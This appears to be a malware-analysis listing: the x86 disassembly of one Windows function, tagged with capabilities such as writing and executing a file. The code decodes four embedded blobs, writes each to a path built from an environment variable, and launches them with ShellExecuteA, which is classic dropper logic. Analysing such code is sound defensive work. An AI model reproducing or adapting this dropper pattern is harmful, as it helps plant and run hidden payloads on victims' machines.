Function at 0x40108c
Capabilities:
Create process on windows
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48c
nop
mov eax, 0x30
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x30]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 0x402021
mov dword [ebp - 0x30], eax
mov eax, 0x402026
mov dword [ebp - 0x2c], eax
mov eax, 0x40206b
mov dword [ebp - 0x28], eax
mov eax, 0x44a26c
mov dword [ebp - 0x24], eax
mov eax, 0x44a271
mov dword [ebp - 0x20], eax
mov eax, 0x44a284
mov dword [ebp - 0x1c], eax
mov eax, 0x44d70b
mov dword [ebp - 0x18], eax
mov eax, 0x44d710
mov dword [ebp - 0x14], eax
mov eax, 0x44d720
mov dword [ebp - 0x10], eax
mov eax, 0x4ff8a7
mov dword [ebp - 0xc], eax
mov eax, 0x4ff8ac
mov dword [ebp - 8], eax
mov eax, 0x4ff8bb
mov dword [ebp - 4], eax
mov eax, 0x40
push eax
mov eax, 0
push eax
lea eax, [ebp - 0x70]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov eax, 4
mov dword [ebp - 0x70], eax
mov eax, 0x44
mov dword [ebp - 0x6c], eax
mov eax, 0x48200
mov dword [ebp - 0x68], eax
mov eax, 1
mov dword [ebp - 0x64], eax
mov eax, 4
mov dword [ebp - 0x60], eax
mov eax, 0x12
mov dword [ebp - 0x5c], eax
mov eax, 0x3486
mov dword [ebp - 0x58], eax
mov eax, 1
mov dword [ebp - 0x54], eax
mov eax, 4
mov dword [ebp - 0x50], eax
mov eax, 0xf
mov dword [ebp - 0x4c], eax
mov eax, 0xb2186
mov dword [ebp - 0x48], eax
mov eax, 1
mov dword [ebp - 0x44], eax
mov eax, 4
mov dword [ebp - 0x40], eax
mov eax, 0xe
mov dword [ebp - 0x3c], eax
mov eax, 0xa7890
mov dword [ebp - 0x38], eax
mov eax, 1
mov dword [ebp - 0x34], eax
mov eax, 0
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x484]
cmp eax, 4
jge 0x4013be
jmp 0x4011d4
mov eax, dword [ebp - 0x484]
inc eax
mov dword [ebp - 0x484], eax
jmp 0x4011b1
mov eax, dword [ebp - 0x484]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x30]
add ecx, eax
mov eax, 0x5a714c
push eax
mov eax, dword [ecx]
push eax
call sub.msvcrt.dll_strcmp
add esp, 8
cmp eax, 0
jne 0x40124b
mov eax, dword [ebp - 0x484]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x30]
add ecx, eax
add ecx, 4
mov eax, dword [ebp - 0x484]
shl eax, 4
lea edx, [ebp - 0x70]
add edx, eax
add edx, 4
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
lea eax, [ebp - 0x480]
push eax
call sub.msvcrt.dll_strcpy
add esp, 8
jmp 0x4012db
mov eax, dword [ebp - 0x484]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x30]
add ecx, eax
mov eax, dword [ebp - 0x484]
shl eax, 4
lea edx, [ebp - 0x70]
add edx, eax
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
push eax
call sub.msvcrt.dll_getenv
add esp, 4
mov ecx, dword [ebp - 0x484]
mov edx, 0xc
imul ecx, edx
lea edx, [ebp - 0x30]
add edx, ecx
add edx, 4
mov ecx, dword [ebp - 0x484]
shl ecx, 4
mov dword [ebp - 0x488], eax
lea eax, [ebp - 0x70]
add eax, ecx
add eax, 4
mov ecx, dword [eax]
push ecx
mov eax, dword [edx]
push eax
call section..text
add esp, 8
push eax
mov eax, dword [ebp - 0x488]
push eax
mov eax, str._s_s
push eax
lea eax, [ebp - 0x480]
push eax
call sub.msvcrt.dll_sprintf
add esp, 0x10
mov eax, 0x5a7164
push eax
lea eax, [ebp - 0x480]
push eax
call sub.msvcrt.dll_fopen
add esp, 8
mov dword [ebp - 0x48c], eax
mov eax, dword [ebp - 0x484]
mov ecx, 0xc
imul eax, ecx
lea ecx, [ebp - 0x30]
add ecx, eax
add ecx, 8
mov eax, dword [ebp - 0x484]
shl eax, 4
lea edx, [ebp - 0x70]
add edx, eax
add edx, 8
mov eax, dword [edx]
push eax
mov eax, dword [ecx]
push eax
call section..text
add esp, 8
mov ecx, dword [ebp - 0x484]
shl ecx, 4
lea edx, [ebp - 0x70]
add edx, ecx
add edx, 8
mov ecx, dword [ebp - 0x48c]
push ecx
mov ecx, 1
push ecx
mov ecx, dword [edx]
push ecx
push eax
call sub.msvcrt.dll_fwrite
add esp, 0x10
mov eax, dword [ebp - 0x48c]
push eax
call sub.msvcrt.dll_fclose
add esp, 4
mov eax, dword [ebp - 0x484]
shl eax, 4
lea ecx, [ebp - 0x70]
add ecx, eax
add ecx, 0xc
mov eax, dword [ecx]
cmp eax, 0
je 0x4013b9
mov eax, 4
push eax
mov eax, 0x5a7167
push eax
call section..text
add esp, 8
mov ecx, 0xa
push ecx
mov ecx, 0
push ecx
mov ecx, 0
push ecx
lea ecx, [ebp - 0x480]
push ecx
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
jmp 0x4011c5
mov eax, 0
leave
ret